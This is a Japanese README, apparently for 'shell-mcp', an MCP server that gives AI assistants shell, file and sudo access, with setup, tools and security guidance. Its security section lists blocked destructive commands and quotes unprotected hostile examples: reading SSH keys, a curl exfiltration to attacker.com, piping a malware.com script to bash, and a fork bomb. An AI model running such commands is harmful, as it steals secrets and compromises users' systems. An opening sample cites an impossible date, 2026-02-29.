MARKET OVERVIEW:
  S&P 500: +0.4% (pre-market)
  NASDAQ: +0.7% (tech rally continues)

TRENDING: AI chipmakers surging on new data center demand
  Top gainer: AMD +3.8% pre-market

NEWS ALERTS:
  - NVDA announces new AI chip partnership
  - MSFT expanding cloud services in Europe

ブラウザーでダッシュボードが自動的に開き、レポート全体が ~/market-reports/2026-02-29.txt に保存されます

設定を調整したり、機能を追加したりしますか?」

最良の結果を得るためのヒント

AI アシスタントとのやり取り

具体的に伝える:

  • ❌「ファイルを確認して」
  • ✅「Documents フォルダー内にある、過去 1 週間に変更された PDF ファイルをすべて一覧表示して」

要約を依頼する:

  • 「システム情報を取得して、気になる点があれば教えて」
  • 「サーバーログの最後の 50 行を確認して、エラーがあれば要約して」

複数の手順を含む操作を依頼する:

  • 「システム内にある Node.js プロジェクトをすべて探して、依存関係の更新が必要なものを確認し、要約レポートを作成して」

自然な言葉で伝える:

  • コマンドの構文を知っている必要はありません!
  • find コマンドを組み立てる代わりに、「大きなファイルを探して」と伝えましょう
  • AI が意図を適切なコマンドに変換します
安全のヒント

まずはサンドボックスモードから始めましょう:

# In your AI assistant config
"SANDBOX_MODE": "true"

慣れるまでの間、安全性を高めるための追加チェックが適用されます。

破壊的な操作を実行する前に確認しましょう:

  • AI アシスタントは通常、ファイルの削除や大幅な変更を行う前に確認を求めます
  • 「実行しようとしているコマンドを見せて」といつでも依頼できます

自動化に活用しましょう:

  • 慣れてきたら、繰り返しの作業用にスクリプトを作成しましょう
  • 例:「毎週実行できるバックアップスクリプトを作成して」

リソース使用状況を監視しましょう:

  • 動作が遅くなった場合は、AI にシステムリソースを確認するよう依頼しましょう
  • 例:「システムで最も多くのメモリを使用しているものは何?」
まず試してみること
  1. **システムチェック:「**システムの状態を概観して」
  2. **ファイルの整理:「**Downloads フォルダーの整理を手伝って」
  3. プロジェクトの分析:「~/code/myapp にあるプロジェクトを分析して」
  4. **ログの調査:「**アプリケーションログにエラーがないか確認して」
  5. **プロセス管理:「**最も多くの CPU を使用しているものを表示して」
高度な機能を有効にする

株式市場の監視、ウェブ閲覧、オンラインショッピングなどの高度な自動化には、追加のツールが必要になる場合があります。

株式市場と金融 API

オプション 1:無料 API(初めて利用する場合におすすめ)

# Alpha Vantage (Free tier: 500 requests/day)
# Get your free API key at: https://www.alphavantage.co/support/#api-key
export ALPHA_VANTAGE_API_KEY="your_key_here"

オプション 2:プレミアム API

  • Yahoo Finance API:リアルタイムの株価データ
  • Polygon.io:高度な市場データ
  • IEX Cloud:金融データプラットフォーム

AI が使用できるスクリプトの例:

# ~/scripts/stock_checker.py
import requests
import os

def get_stock_price(symbol):
    api_key = os.getenv('ALPHA_VANTAGE_API_KEY')
    url = f'https://www.alphavantage.co/query?function=GLOBAL_QUOTE&symbol={symbol}&apikey={api_key}'
    response = requests.get(url)
    return response.json()

# Your AI assistant can run: python ~/scripts/stock_checker.py
ブラウザーの自動化

Puppeteer(Node.js)または Playwright をインストールします:

# For web scraping and browser automation
npm install -g puppeteer
# or
npm install -g playwright

AI は次の操作を行えるようになります:

  • ウェブサイトを自動的に開く
  • フォームに入力し、ボタンをクリックする
  • スクリーンショットを撮る
  • ウェブページからデータを抽出する
Amazon でのショッピングと価格の監視

オプション 1:Amazon Product Advertising API

オプション 2:ウェブスクレイピング(個人利用向け)

# Install a scraping tool
pip install beautifulsoup4 requests

オプション 3:価格追跡ツール

# CamelCamelCamel API integration or similar services
# Your AI can check price history automatically
アプリケーションを開く

macOS:

# Your AI uses commands like:
open -a "Google Chrome" https://amazon.com
open -a "Spotify"

Windows:

start chrome https://amazon.com
start spotify

Linux:

xdg-open https://amazon.com
spotify &
スケジュールされた自動化

AI はスケジュールされたタスクを設定できます:

macOS/Linux(Cron):

# Your AI creates cron jobs for you
crontab -e
# Example: Check stocks every hour on weekdays
0 9-16 * * 1-5 /usr/bin/python3 ~/scripts/stock_checker.py

Windows(タスクスケジューラ):

# Your AI can create scheduled tasks
schtasks /create /tn "StockCheck" /tr "python stock_checker.py" /sc daily /st 09:00
高度な機能を使い始める
  1. **簡単なことから始める:**無料 API を使った基本的な株価チェックから始めます
  2. **段階的に構築する:**特定のウェブサイト向けにブラウザーの自動化を追加します
  3. **定型作業を自動化する:**毎日のタスク用に、AI にスケジュールされたスクリプトを作成してもらいます
  4. **安全を保つ:**特に金融取引に関するスクリプトは、実行前に必ず確認します

AI アシスタントに次のことを手伝ってもらえます:

  • 「Alpha Vantage の API キーの取得と設定を手伝って」
  • 「Puppeteer をインストールして、Amazon の価格を確認するスクリプトを作成して」
  • 「毎朝、株式ポートフォリオを確認する cron ジョブを設定して」

機能

  • シェルコマンドの実行:タイムアウトとセキュリティ制御を備えた、任意のシェルコマンドの実行
  • ファイル操作:パストラバーサル対策を施した、ファイルの読み取り、書き込み、削除とディレクトリの一覧表示
  • システム情報:クロスプラットフォームでのシステム情報の取得(CPU、メモリ、ディスク、OS)
  • プロセス管理:実行中のプロセスの一覧表示と絞り込み
  • 複数のトランスポートに対応:stdio(デフォルト)、SSE(非推奨)、Streamable HTTP トランスポート
  • セキュリティ:コマンドの検証、サンドボックス化、パストラバーサル対策、レート制限、監査ログ
  • Sudo 対応:パスワード処理を伴う、オプトイン方式の特権コマンド実行
  • クロスプラットフォーム:macOS、Linux、Windows で動作
  • 本番環境対応:包括的なエラー処理、ログ記録、Zod による入力検証、グレースフルシャットダウン
  • 充実したドキュメント:セキュリティガイドラインやセットアップガイドを含む、包括的なドキュメント
  • 十分にテスト済み:vitest によるユニットテストと統合テスト

エンドユーザー向けインストール

この MCP サーバーを AI アシスタントで使用するには、次の手順に従ってください:

前提条件
  • Node.js(バージョン 18 以上) - こちらからダウンロード
  • npm(Node.js に同梱)
  • MCP 互換の AI アシスタント(Claude Desktop など)
手順に沿ったセットアップ
  1. このリポジトリをクローンまたはダウンロードします。

    git clone https://github.com/luciVuc/shell-mcp.git
    cd shell-mcp
    
  2. 依存関係をインストールします。

    npm install
    
  3. サーバーをビルドします。

    npm run build
    
  4. AI アシスタントを設定します(上記の「AI アシスタントでの使用方法」セクションを参照してください)。

  5. AI とのチャットを開始します。 アシスタントからシステム操作にアクセスできるようになります。

オプション:設定

環境変数を使用して動作をカスタマイズできます。

変数デフォルト値説明
TRANSPORTstdioトランスポートの種類:stdio、sse、または streamable-http
SANDBOX_MODEfalsetrue の場合、リスクのあるコマンド(ネットワーク、プロセス制御など)をブロックします
COMMAND_TIMEOUT30000コマンドの最大実行時間(ms)
ALLOW_SUDOfalsetrue の場合、sudo を前置したコマンドを許可します
SUDO_PASSWORD—sudo -S 用のパスワード(ログには記録されません)
DEBUGfalse詳細なログ記録を有効にします
AUDIT_LOGfalseすべてのツール呼び出しを logs/audit.log に記録します
PORT3000SSE/Streamable HTTP トランスポート用の HTTP ポート
HOST127.0.0.1HTTP トランスポート用にバインドするホスト/IP
MCP_ENDPOINT/mcpStreamable HTTP トランスポート用のエンドポイントパス

.env ファイルの例:

SANDBOX_MODE=false
COMMAND_TIMEOUT=30000
DEBUG=false
TRANSPORT=stdio
Sudo サポートの有効化

セキュリティ上、sudo コマンドはデフォルトでブロックされています。特権コマンドの実行を有効にするには、次の手順に従ってください。

オプション 1:NOPASSWD sudoers(自動化におすすめ)

パスワードが不要になるよう、sudoers ファイルで特定のコマンドを設定します。

# Edit sudoers safely
sudo visudo

# Add a rule for the user running the MCP server
mcp-user ALL=(ALL) NOPASSWD: /usr/bin/apt-get update, /usr/bin/systemctl restart nginx

続いて、設定で sudo を有効にします。

{
  "mcpServers": {
    "shell": {
      "command": "node",
      "args": ["/path/to/shell-mcp/dist/main.js"],
      "env": {
        "ALLOW_SUDO": "true"
      }
    }
  }
}
オプション 2:パスワードを使用する sudo

NOPASSWD を利用できない場合は、SUDO_PASSWORD を指定します。パスワードは sudo -S 経由で渡され、ログには記録されません。

{
  "mcpServers": {
    "shell": {
      "command": "node",
      "args": ["/path/to/shell-mcp/dist/main.js"],
      "env": {
        "ALLOW_SUDO": "true",
        "SUDO_PASSWORD": "your-password-here"
      }
    }
  }
}

⚠️ セキュリティ警告: 環境変数はプロセス一覧から見える場合があります。本番環境では、特定のコマンドに限定した NOPASSWD sudoers ルールを推奨します。すべての sudo の使用状況を追跡するには、AUDIT_LOG=true を有効にしてください。

ALLOW_SUDO が設定されていない場合の動作

ALLOW_SUDO が設定されていない場合(デフォルト)、sudo で始まるコマンドはすべて拒否されます。

❌ "sudo apt-get update" → Error: Sudo commands are not allowed
✅ "apt-get update"      → Runs as the current user (may fail without privileges)

開発者向け

このサーバーを開発または拡張する場合は、次の手順に従ってください。

クイックスタート
# Install dependencies
npm install

# Build the project
npm run build

# Run unit tests
npm run test:unit

# Run integration tests
npm test

# Start the server (for development)
npm run dev

# or
npm start

Claude Desktop へのデプロイについては、CLAUDE_SETUP.md を参照してください。

開発ワークフロー
# Watch mode for development
npm run watch

# Test with MCP Inspector (interactive UI for testing)
npm run inspector

# Lint code
npm run lint
npm run lint:fix

# Format code
npm run format
テスト
# Run unit tests (vitest)
npm run test:unit

# Run unit tests in watch mode
npm run test:unit:watch

# Run integration tests
npm test

# Run client test (alternative test implementation)
npm run test:client

# Run debug test (see raw server output)
npm run test:debug

ユニットテストは test/unit/(vitest)に、統合テストは test/(tsx)にあります。

利用可能なツール

1. exec

任意のシェルコマンドを実行します。

入力:

  • command(文字列):実行するシェルコマンド

例:

{
  "name": "exec",
  "arguments": {
    "command": "echo 'Hello World'"
  }
}
2. readFile

ファイルの内容を読み取ります。

入力:

  • path(文字列):ファイルへのパス
3. writeFile

ファイルに内容を書き込みます。

入力:

  • path(文字列):ファイルへのパス
  • content(文字列):書き込む内容
4. deleteFile

ファイルを削除します。

入力:

  • path(文字列):ファイルへのパス
5. listDir

ディレクトリの内容を一覧表示します。

入力:

  • path(文字列):ディレクトリへのパス
6. getSystemInfo

システム情報(CPU、メモリ、ディスク、OS)を取得します。

入力: なし

7. listProcesses

実行中のプロセスを一覧表示します。必要に応じて絞り込みできます。

入力:

  • filter(文字列、任意):プロセス名の絞り込みパターン

セキュリティに関する考慮事項

⚠️ 包括的なセキュリティ情報については、上記の重要な免責事項と安全性に関する警告セクションを参照してください。

このサーバーは強力なシェルアクセスを提供しますが、固有のセキュリティリスクを伴います。以下を確認してください。

組み込みのセキュリティ機能
  1. サンドボックスモード:SANDBOX_MODE=true を有効にすると、安全性に関する警告と検証が追加されます
  2. コマンド検証:極めて危険なコマンドパターンを組み込みでブロックします
  3. タイムアウト保護:すべてのコマンドにタイムアウト制限があります(デフォルト:30秒)
  4. 出力サイズ制限:メモリ枯渇を防ぐため、コマンドの出力は10MBまでに制限されます
  5. レート制限:悪用を防ぐため、デフォルトでは1分あたり60件のコマンドに制限されます
  6. パストラバーサル保護:ファイルツールはパスを検証し、機密性の高いシステムファイル(/etc/shadow、/etc/passwd、/proc/、/sys/、/dev/)へのアクセスをブロックします
  7. 入力検証:null バイトの拒否も含め、すべてのツール入力を Zod スキーマで検証します
  8. 監査ログ:すべてのツール呼び出しを JSON Lines 形式で永続的に記録する監査ログを任意で有効にできます
  9. Sudo 保護:デフォルトで Sudo コマンドをブロックします。使用するには明示的に ALLOW_SUDO=true を設定する必要があります
  10. 適切なエラー処理:不正な形式のコマンドによるクラッシュを防ぎます
ブロックされるコマンドパターン

以下の極めて危険なコマンドパターンは自動的にブロックされます。

  • rm -rf / - ルートファイルシステムを再帰的に削除します。システム上のすべてのファイルが破壊され、起動不能になり、データが完全に失われます。

  • mkfs - ファイルシステムをフォーマットするコマンドです。デバイス上に新しいファイルシステムを作成し、既存のデータをすべて消去します。誤用すると、パーティションやディスク全体を破壊するおそれがあります。

  • dd if= - 低レベルのディスク書き込み操作です。dd コマンドはディスクデバイスに直接書き込めるため、重要なシステムデータ、パーティションテーブル、ブートローダーを上書きするおそれがあります。

  • > /dev/ - デバイスファイルを直接操作します。デバイスファイル(特に /dev/sda、/dev/zero など)へのリダイレクトは、ストレージデバイスを破損させたり、システムを不安定にしたりするおそれがあります。

⚠️ 保護されない事項

以下の組み込み保護機能は最低限のものであり、次の行為は防止しません。

  • 機密ファイルの読み取り(cat ~/.ssh/id_rsa)
  • 特定の重要ファイルの削除(rm -rf ~/Documents)
  • ネットワークを介したデータ流出(curl -X POST attacker.com --data @secret.txt)
  • マルウェアのインストール(curl malware.com/script.sh | bash)
  • リソース枯渇(:(){ :|:& };: - フォークボム)
  • API の悪用(有料サービスへの過剰な呼び出し)
  • 不正な購入や金銭取引
  • AI に対するソーシャルエンジニアリング攻撃
  • プロンプトインジェクションの脆弱性

組み込みの保護機能がブロックするのは、システムレベルで壊滅的な影響を及ぼすコマンドの一部に限られます。

本番環境での使用に関する推奨事項
  1. 隔離された環境で実行する

    • 権限を最小限にした Docker コンテナを使用する
    • 外部への接続を制限するネットワークポリシーを適用する
    • 可能な場合は読み取り専用のファイルシステムマウントを使用する
  2. アクセス制御を実装する

    • 認証・認可レイヤーの背後に配置する
    • ロールベースのアクセス制御(RBAC)を使用する
    • 特定の用途に合わせたコマンドの許可リストを実装する
  3. 監視と監査を行う

    • 包括的なログ記録を有効にする
    • 不審なコマンドを検知するアラートを設定する
    • 実行履歴を定期的に確認する
    • 異常検知を実装する
  4. 多層防御を行う

    • 複数のセキュリティレイヤーを組み合わせる
    • 侵害されることを前提とする
    • 最小権限の原則を実装する
    • 定期的にセキュリティ評価を実施する
  5. ユーザー教育を行う

    • 安全なプロンプトの使い方についてユーザーをトレーニングする
    • AI アシスタントの使用に関する明確なガイドラインを定める
    • セキュリティ意識向上のための情報を定期的に更新する
セキュリティはお客様の責任です

この MCP サーバーは、AI アシスタントにシェルアクセスを許可するツールです。システムのセキュリティは、以下の要素に左右されます。

  • 設定方法
  • 付与する権限
  • 使用状況の監視方法
  • AI アシスタントのセキュリティ
  • リスクに対する理解

組み込みのセキュリティ機能だけですべての脅威を防ぐことはできません。注意して、適切な安全対策を講じたうえで使用してください。

アーキテクチャ

src/
├── main.ts                     # Entry point, env var parsing, graceful shutdown
├── server.ts                   # MCP server with multi-transport support
├── executors/
│   ├── index.ts                # Barrel export
│   └── shellExecutor.ts        # Shell command execution with sandboxing
├── tools/
│   ├── index.ts                # Barrel export
│   ├── toolRegistry.ts         # Tool registration, routing, audit integration
│   └── handlers/
│       ├── index.ts            # Barrel export
│       ├── execTool.ts         # Shell execution tool
│       ├── fileTools.ts        # File operation tools with path validation
│       ├── systemInfoTool.ts   # System info tool
│       └── processTool.ts      # Process management tool
├── types/
│   └── index.ts                # TypeScript interfaces and type definitions
└── utils/
    ├── index.ts                # Barrel export
    ├── logger.ts               # Logging utility (DEBUG env var)
    ├── validation.ts           # Zod schemas, path traversal protection
    ├── rateLimiter.ts          # Sliding-window rate limiter (60 req/min)
    └── auditLogger.ts          # Persistent audit logging (JSON Lines)

test/
├── integration.test.ts         # Main integration tests
├── client.test.ts              # Alternative client test
├── debug.test.ts               # Debug/diagnostic test
├── README.md                   # Test documentation
└── unit/                       # Unit tests (vitest)
    ├── auditLogger.test.ts
    ├── execTool.test.ts
    ├── fileTools.test.ts
    ├── logger.test.ts
    ├── processTool.test.ts
    ├── rateLimiter.test.ts
    ├── server.test.ts
    ├── shellExecutor.test.ts
    ├── systemInfoTool.test.ts
    ├── toolRegistry.test.ts
    └── validation.test.ts

トランスポート

このサーバーは、3 種類の MCP トランスポートに対応しています。

stdio(デフォルト)

stdin/stdout を介して通信します。Claude Desktop のようなローカル統合に最適です。

# Default — no extra configuration needed
node dist/main.js
SSE(非推奨)

Server-Sent Events ストリーミングを使用する HTTP サーバーを起動します。

  • GET /sse — SSE ストリームを確立します
  • POST /messages?sessionId=X — JSON-RPC メッセージを受信します
TRANSPORT=sse PORT=3000 node dist/main.js

注記: SSE トランスポートは MCP SDK で非推奨になっています。新しい統合では Streamable HTTP を推奨します。

Streamable HTTP(リモート向けに推奨)

MCP Streamable HTTP 仕様を使用する HTTP サーバーを起動します。

  • POST /mcp — JSON-RPC リクエストを処理します(SSE ストリーミングは任意)
  • GET /mcp — サーバー起点のメッセージ用に、独立した SSE ストリームを確立します
  • DELETE /mcp — セッションを終了します
TRANSPORT=streamable-http PORT=3000 MCP_ENDPOINT=/mcp node dist/main.js

MCP プロトコル

このサーバーは Model Context Protocol(MCP)標準を実装しています。

  • 利用可能なツールの検出に tools/list をサポート
  • ツールの実行に tools/call をサポート
  • 複数のトランスポートに対応:stdio、SSE、Streamable HTTP
  • HTTP トランスポート向けの DNS リバインディング保護
  • 同時接続するクライアントのセッション管理

ライセンス

MIT

変更履歴

すべてのバージョン履歴については、CHANGELOG.md を参照してください。

最新:v1.1.0
  • 複数のトランスポートに対応(stdio、SSE、Streamable HTTP)
  • レート制限、監査ログ、パストラバーサル保護
  • パスワード処理を伴う Sudo コマンドのサポート
  • Zod スキーマによる入力検証
  • 包括的なユニットテストスイート(vitest)
  • AI エージェント向けの詳細なツール説明

コントリビューション

コントリビューションを歓迎します。詳しいガイドラインについては、CONTRIBUTING.md を参照してください。

主なポイント:

  • TypeScript のベストプラクティスに準拠したコード
  • すべての変更に適切な型を定義
  • セキュリティへの影響を考慮
  • クロスプラットフォーム互換性を維持

ドキュメント

🌐 オンラインドキュメント

ドキュメントサイトの全内容を見る →

以下を備えた、包括的で使いやすいドキュメントサイトです。

  • インタラクティブな例とユースケース
  • ステップごとのセットアップガイド
  • ツールの完全なリファレンス
  • セキュリティのベストプラクティス
  • 会話例
📄 ドキュメントファイル
  • README.md - このファイル。プロジェクトの概要と使い方
  • CLAUDE_SETUP.md - Claude Desktop の設定ガイド
  • SECURITY.md - セキュリティのベストプラクティスとガイドライン
  • CONTRIBUTING.md - コントリビューションガイドライン
  • CHANGELOG.md - バージョン履歴と変更内容
  • docs/ - GitHub Pages ドキュメントサイトのソース

プロジェクトのステータス

✅ 本番環境で利用可能 - v1.1.0

このプロジェクトは十分にテストされており、以下を備えています。

  • 包括的なエラー処理とログ記録
  • 複数のトランスポートに対応(stdio、SSE、Streamable HTTP)
  • セキュリティ機能:サンドボックス化、レート制限、パス検証、監査ログ
  • Zod スキーマによる入力検証
  • クロスプラットフォーム互換性
  • 充実したドキュメント
  • 適切なシャットダウン処理
  • TypeScript strict モードへの準拠
  • vitest による 119 件以上のユニットテスト

サポート

問題、質問、コントリビューションについては、以下をご利用ください。

  • GitHub で issue を作成する
  • ガイドラインについては CONTRIBUTING.md を参照する
  • セキュリティに関する質問については SECURITY.md を確認する

Model Context Protocol(MCP)を使用して ❤️ を込めて構築

コメント

MCP は初めてですか?

プロトコルの概要から最初のサーバーの導入まで、よくある疑問にまとめて答えます。

AI アプリケーションが外部のツールやデータソースに統一的な方法で接続するためのオープンなプロトコルです。クライアントはモデルとの対話を担い、MCP サーバーはツール・リソース・プロンプトテンプレートを提供します。標準メッセージでやり取りするため、1 つのサーバーを複数のクライアントで再利用できます。